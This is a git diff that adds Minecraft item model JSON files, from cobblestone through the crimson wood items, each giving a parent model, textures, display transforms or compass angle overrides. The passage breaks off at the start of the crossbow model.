a/src/assets/minecraft/models/item/cobblestone.json b/src/assets/minecraft/models/item/cobblestone.json new file mode 100644 index 00000000..35e828df --- /dev/null +++ b/src/assets/minecraft/models/item/cobblestone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cobblestone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cobblestone_slab.json b/src/assets/minecraft/models/item/cobblestone_slab.json new file mode 100644 index 00000000..701123f0 --- /dev/null +++ b/src/assets/minecraft/models/item/cobblestone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cobblestone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cobblestone_stairs.json b/src/assets/minecraft/models/item/cobblestone_stairs.json new file mode 100644 index 00000000..48910bcc --- /dev/null +++ b/src/assets/minecraft/models/item/cobblestone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cobblestone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cobblestone_wall.json b/src/assets/minecraft/models/item/cobblestone_wall.json new file mode 100644 index 00000000..5c603a85 --- /dev/null +++ b/src/assets/minecraft/models/item/cobblestone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cobblestone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cobweb.json b/src/assets/minecraft/models/item/cobweb.json new file mode 100644 index 00000000..64ebc0bd --- /dev/null +++ b/src/assets/minecraft/models/item/cobweb.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/cobweb" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cocoa_beans.json b/src/assets/minecraft/models/item/cocoa_beans.json new file mode 100644 index 00000000..cb83b5d4 --- /dev/null +++ b/src/assets/minecraft/models/item/cocoa_beans.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cocoa_beans" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cod.json b/src/assets/minecraft/models/item/cod.json new file mode 100644 index 00000000..a36ba0c8 --- /dev/null +++ b/src/assets/minecraft/models/item/cod.json @@ -0,0 +1,13 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/cod" + }, + "display": { + "head": { + "rotation": [ 0, 90, -60 ], + "translation": [ -7, -4, -7], + "scale":[ 0.8, 0.8, 0.8] + } + } +} diff --git a/src/assets/minecraft/models/item/cod_bucket.json b/src/assets/minecraft/models/item/cod_bucket.json new file mode 100644 index 00000000..35c4ca0f --- /dev/null +++ b/src/assets/minecraft/models/item/cod_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cod_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cod_spawn_egg.json b/src/assets/minecraft/models/item/cod_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/cod_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/command_block.json b/src/assets/minecraft/models/item/command_block.json new file mode 100644 index 00000000..43605276 --- /dev/null +++ b/src/assets/minecraft/models/item/command_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/command_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/command_block_minecart.json b/src/assets/minecraft/models/item/command_block_minecart.json new file mode 100644 index 00000000..7a3cf69b --- /dev/null +++ b/src/assets/minecraft/models/item/command_block_minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/command_block_minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/comparator.json b/src/assets/minecraft/models/item/comparator.json new file mode 100644 index 00000000..6aa4fbe2 --- /dev/null +++ b/src/assets/minecraft/models/item/comparator.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/comparator" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass.json b/src/assets/minecraft/models/item/compass.json new file mode 100644 index 00000000..ec66bb16 --- /dev/null +++ b/src/assets/minecraft/models/item/compass.json @@ -0,0 +1,41 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/compass_16" + }, + "overrides": [ + { "predicate": { "angle": 0.000000 }, "model": "item/compass" }, + { "predicate": { "angle": 0.015625 }, "model": "item/compass_17" }, + { "predicate": { "angle": 0.046875 }, "model": "item/compass_18" }, + { "predicate": { "angle": 0.078125 }, "model": "item/compass_19" }, + { "predicate": { "angle": 0.109375 }, "model": "item/compass_20" }, + { "predicate": { "angle": 0.140625 }, "model": "item/compass_21" }, + { "predicate": { "angle": 0.171875 }, "model": "item/compass_22" }, + { "predicate": { "angle": 0.203125 }, "model": "item/compass_23" }, + { "predicate": { "angle": 0.234375 }, "model": "item/compass_24" }, + { "predicate": { "angle": 0.265625 }, "model": "item/compass_25" }, + { "predicate": { "angle": 0.296875 }, "model": "item/compass_26" }, + { "predicate": { "angle": 0.328125 }, "model": "item/compass_27" }, + { "predicate": { "angle": 0.359375 }, "model": "item/compass_28" }, + { "predicate": { "angle": 0.390625 }, "model": "item/compass_29" }, + { "predicate": { "angle": 0.421875 }, "model": "item/compass_30" }, + { "predicate": { "angle": 0.453125 }, "model": "item/compass_31" }, + { "predicate": { "angle": 0.484375 }, "model": "item/compass_00" }, + { "predicate": { "angle": 0.515625 }, "model": "item/compass_01" }, + { "predicate": { "angle": 0.546875 }, "model": "item/compass_02" }, + { "predicate": { "angle": 0.578125 }, "model": "item/compass_03" }, + { "predicate": { "angle": 0.609375 }, "model": "item/compass_04" }, + { "predicate": { "angle": 0.640625 }, "model": "item/compass_05" }, + { "predicate": { "angle": 0.671875 }, "model": "item/compass_06" }, + { "predicate": { "angle": 0.703125 }, "model": "item/compass_07" }, + { "predicate": { "angle": 0.734375 }, "model": "item/compass_08" }, + { "predicate": { "angle": 0.765625 }, "model": "item/compass_09" }, + { "predicate": { "angle": 0.796875 }, "model": "item/compass_10" }, + { "predicate": { "angle": 0.828125 }, "model": "item/compass_11" }, + { "predicate": { "angle": 0.859375 }, "model": "item/compass_12" }, + { "predicate": { "angle": 0.890625 }, "model": "item/compass_13" }, + { "predicate": { "angle": 0.921875 }, "model": "item/compass_14" }, + { "predicate": { "angle": 0.953125 }, "model": "item/compass_15" }, + { "predicate": { "angle": 0.984375 }, "model": "item/compass" } + ] +} diff --git a/src/assets/minecraft/models/item/compass_00.json b/src/assets/minecraft/models/item/compass_00.json new file mode 100644 index 00000000..dc856843 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_00.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_00" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_01.json b/src/assets/minecraft/models/item/compass_01.json new file mode 100644 index 00000000..75d4178d --- /dev/null +++ b/src/assets/minecraft/models/item/compass_01.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_01" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_02.json b/src/assets/minecraft/models/item/compass_02.json new file mode 100644 index 00000000..b91b4ba8 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_02.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_02" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_03.json b/src/assets/minecraft/models/item/compass_03.json new file mode 100644 index 00000000..10bf34a6 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_03.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_03" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_04.json b/src/assets/minecraft/models/item/compass_04.json new file mode 100644 index 00000000..cf2e7eb7 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_04.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_04" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_05.json b/src/assets/minecraft/models/item/compass_05.json new file mode 100644 index 00000000..e78ede9c --- /dev/null +++ b/src/assets/minecraft/models/item/compass_05.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_05" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_06.json b/src/assets/minecraft/models/item/compass_06.json new file mode 100644 index 00000000..3679f229 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_06.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_06" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_07.json b/src/assets/minecraft/models/item/compass_07.json new file mode 100644 index 00000000..37c1d310 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_07.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_07" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_08.json b/src/assets/minecraft/models/item/compass_08.json new file mode 100644 index 00000000..706d7fb8 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_08.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_08" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_09.json b/src/assets/minecraft/models/item/compass_09.json new file mode 100644 index 00000000..1a0dd1a3 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_09.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_09" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_10.json b/src/assets/minecraft/models/item/compass_10.json new file mode 100644 index 00000000..965ec560 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_10.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_10" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_11.json b/src/assets/minecraft/models/item/compass_11.json new file mode 100644 index 00000000..dde2e559 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_11.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_11" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_12.json b/src/assets/minecraft/models/item/compass_12.json new file mode 100644 index 00000000..ffe3aa7d --- /dev/null +++ b/src/assets/minecraft/models/item/compass_12.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_12" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_13.json b/src/assets/minecraft/models/item/compass_13.json new file mode 100644 index 00000000..985d2d38 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_13.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_13" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_14.json b/src/assets/minecraft/models/item/compass_14.json new file mode 100644 index 00000000..27fc108b --- /dev/null +++ b/src/assets/minecraft/models/item/compass_14.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_14" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_15.json b/src/assets/minecraft/models/item/compass_15.json new file mode 100644 index 00000000..0b72926e --- /dev/null +++ b/src/assets/minecraft/models/item/compass_15.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_15" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_17.json b/src/assets/minecraft/models/item/compass_17.json new file mode 100644 index 00000000..ddcb506f --- /dev/null +++ b/src/assets/minecraft/models/item/compass_17.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_17" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_18.json b/src/assets/minecraft/models/item/compass_18.json new file mode 100644 index 00000000..5f47bcdb --- /dev/null +++ b/src/assets/minecraft/models/item/compass_18.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_18" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_19.json b/src/assets/minecraft/models/item/compass_19.json new file mode 100644 index 00000000..25689471 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_19.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_19" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_20.json b/src/assets/minecraft/models/item/compass_20.json new file mode 100644 index 00000000..26b95b33 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_20.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_20" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_21.json b/src/assets/minecraft/models/item/compass_21.json new file mode 100644 index 00000000..0948b81a --- /dev/null +++ b/src/assets/minecraft/models/item/compass_21.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_21" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_22.json b/src/assets/minecraft/models/item/compass_22.json new file mode 100644 index 00000000..a594efd2 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_22.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_22" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_23.json b/src/assets/minecraft/models/item/compass_23.json new file mode 100644 index 00000000..8e7b9c00 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_23.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_23" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_24.json b/src/assets/minecraft/models/item/compass_24.json new file mode 100644 index 00000000..b9bba903 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_24.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_24" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_25.json b/src/assets/minecraft/models/item/compass_25.json new file mode 100644 index 00000000..b896c210 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_25.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_25" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_26.json b/src/assets/minecraft/models/item/compass_26.json new file mode 100644 index 00000000..8c6c7aac --- /dev/null +++ b/src/assets/minecraft/models/item/compass_26.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_26" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_27.json b/src/assets/minecraft/models/item/compass_27.json new file mode 100644 index 00000000..f5e26c56 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_27.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_27" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_28.json b/src/assets/minecraft/models/item/compass_28.json new file mode 100644 index 00000000..7a766cfd --- /dev/null +++ b/src/assets/minecraft/models/item/compass_28.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_28" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_29.json b/src/assets/minecraft/models/item/compass_29.json new file mode 100644 index 00000000..990c9054 --- /dev/null +++ b/src/assets/minecraft/models/item/compass_29.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_29" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_30.json b/src/assets/minecraft/models/item/compass_30.json new file mode 100644 index 00000000..725443ad --- /dev/null +++ b/src/assets/minecraft/models/item/compass_30.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_30" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/compass_31.json b/src/assets/minecraft/models/item/compass_31.json new file mode 100644 index 00000000..bbbd539f --- /dev/null +++ b/src/assets/minecraft/models/item/compass_31.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/compass_31" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/composter.json b/src/assets/minecraft/models/item/composter.json new file mode 100644 index 00000000..a8a9be3b --- /dev/null +++ b/src/assets/minecraft/models/item/composter.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/composter" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/conduit.json b/src/assets/minecraft/models/item/conduit.json new file mode 100644 index 00000000..f5785cdf --- /dev/null +++ b/src/assets/minecraft/models/item/conduit.json @@ -0,0 +1,38 @@ +{ + "parent": "builtin/entity", + "textures": { + "particle": "block/conduit" + }, + "display": { + "gui": { + "rotation": [ 30, 45, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 1.0, 1.0, 1.0 ] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 0], + "scale":[ 0.5, 0.5, 0.5 ] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 1, 1, 1] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 1, 1, 1 ] + }, + "thirdperson_righthand": { + "rotation": [ 75, 315, 0 ], + "translation": [ 0, 2.5, 0], + "scale": [ 0.5, 0.5, 0.5 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 315, 0 ], + "translation": [ 0, 0, 0], + "scale": [ 0.8, 0.8, 0.8 ] + } + } +} diff --git a/src/assets/minecraft/models/item/cooked_beef.json b/src/assets/minecraft/models/item/cooked_beef.json new file mode 100644 index 00000000..2360514a --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_beef.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_beef" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_chicken.json b/src/assets/minecraft/models/item/cooked_chicken.json new file mode 100644 index 00000000..6608b49c --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_chicken.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_chicken" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_cod.json b/src/assets/minecraft/models/item/cooked_cod.json new file mode 100644 index 00000000..ed4d2392 --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_cod.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_cod" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_mutton.json b/src/assets/minecraft/models/item/cooked_mutton.json new file mode 100644 index 00000000..41455e0e --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_mutton.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_mutton" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_porkchop.json b/src/assets/minecraft/models/item/cooked_porkchop.json new file mode 100644 index 00000000..85a6bb4f --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_porkchop.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_porkchop" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_rabbit.json b/src/assets/minecraft/models/item/cooked_rabbit.json new file mode 100644 index 00000000..7217b8a8 --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_rabbit.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_rabbit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cooked_salmon.json b/src/assets/minecraft/models/item/cooked_salmon.json new file mode 100644 index 00000000..d4be30a7 --- /dev/null +++ b/src/assets/minecraft/models/item/cooked_salmon.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cooked_salmon" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cookie.json b/src/assets/minecraft/models/item/cookie.json new file mode 100644 index 00000000..c1addfd8 --- /dev/null +++ b/src/assets/minecraft/models/item/cookie.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cookie" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cornflower.json b/src/assets/minecraft/models/item/cornflower.json new file mode 100644 index 00000000..ca317c8b --- /dev/null +++ b/src/assets/minecraft/models/item/cornflower.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/cornflower" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cow_spawn_egg.json b/src/assets/minecraft/models/item/cow_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/cow_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cracked_nether_bricks.json b/src/assets/minecraft/models/item/cracked_nether_bricks.json new file mode 100644 index 00000000..09da8a18 --- /dev/null +++ b/src/assets/minecraft/models/item/cracked_nether_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cracked_nether_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cracked_polished_blackstone_bricks.json b/src/assets/minecraft/models/item/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..87b9f26e --- /dev/null +++ b/src/assets/minecraft/models/item/cracked_polished_blackstone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cracked_polished_blackstone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cracked_stone_bricks.json b/src/assets/minecraft/models/item/cracked_stone_bricks.json new file mode 100644 index 00000000..46802074 --- /dev/null +++ b/src/assets/minecraft/models/item/cracked_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cracked_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crafting_table.json b/src/assets/minecraft/models/item/crafting_table.json new file mode 100644 index 00000000..323e84b6 --- /dev/null +++ b/src/assets/minecraft/models/item/crafting_table.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crafting_table" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/creeper_banner_pattern.json b/src/assets/minecraft/models/item/creeper_banner_pattern.json new file mode 100644 index 00000000..d626b731 --- /dev/null +++ b/src/assets/minecraft/models/item/creeper_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/creeper_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/creeper_head.json b/src/assets/minecraft/models/item/creeper_head.json new file mode 100644 index 00000000..364b6e65 --- /dev/null +++ b/src/assets/minecraft/models/item/creeper_head.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_skull" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/creeper_spawn_egg.json b/src/assets/minecraft/models/item/creeper_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/creeper_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_button.json b/src/assets/minecraft/models/item/crimson_button.json new file mode 100644 index 00000000..f58c71fc --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_door.json b/src/assets/minecraft/models/item/crimson_door.json new file mode 100644 index 00000000..ef94c1cc --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/crimson_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_fence.json b/src/assets/minecraft/models/item/crimson_fence.json new file mode 100644 index 00000000..3bdd71d1 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_fence_gate.json b/src/assets/minecraft/models/item/crimson_fence_gate.json new file mode 100644 index 00000000..36ef1c8c --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_fungus.json b/src/assets/minecraft/models/item/crimson_fungus.json new file mode 100644 index 00000000..6fdfd2fa --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/crimson_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_hyphae.json b/src/assets/minecraft/models/item/crimson_hyphae.json new file mode 100644 index 00000000..6efe4610 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_hyphae.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_hyphae" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_nylium.json b/src/assets/minecraft/models/item/crimson_nylium.json new file mode 100644 index 00000000..74f93924 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_nylium.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_nylium" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_planks.json b/src/assets/minecraft/models/item/crimson_planks.json new file mode 100644 index 00000000..759128e1 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_pressure_plate.json b/src/assets/minecraft/models/item/crimson_pressure_plate.json new file mode 100644 index 00000000..436b0ba9 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_roots.json b/src/assets/minecraft/models/item/crimson_roots.json new file mode 100644 index 00000000..19ea0092 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/crimson_roots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_sign.json b/src/assets/minecraft/models/item/crimson_sign.json new file mode 100644 index 00000000..3d2a86b7 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/crimson_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_slab.json b/src/assets/minecraft/models/item/crimson_slab.json new file mode 100644 index 00000000..63ad2927 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_stairs.json b/src/assets/minecraft/models/item/crimson_stairs.json new file mode 100644 index 00000000..9cefb2d2 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_stem.json b/src/assets/minecraft/models/item/crimson_stem.json new file mode 100644 index 00000000..56d2001d --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_stem.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_stem" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crimson_trapdoor.json b/src/assets/minecraft/models/item/crimson_trapdoor.json new file mode 100644 index 00000000..b1cba031 --- /dev/null +++ b/src/assets/minecraft/models/item/crimson_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crimson_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/crossbow.json b/src/assets/minecraft/models/item/crossbow.json new file mode 100644 index 00000000..0cddcac4 --- /dev/null 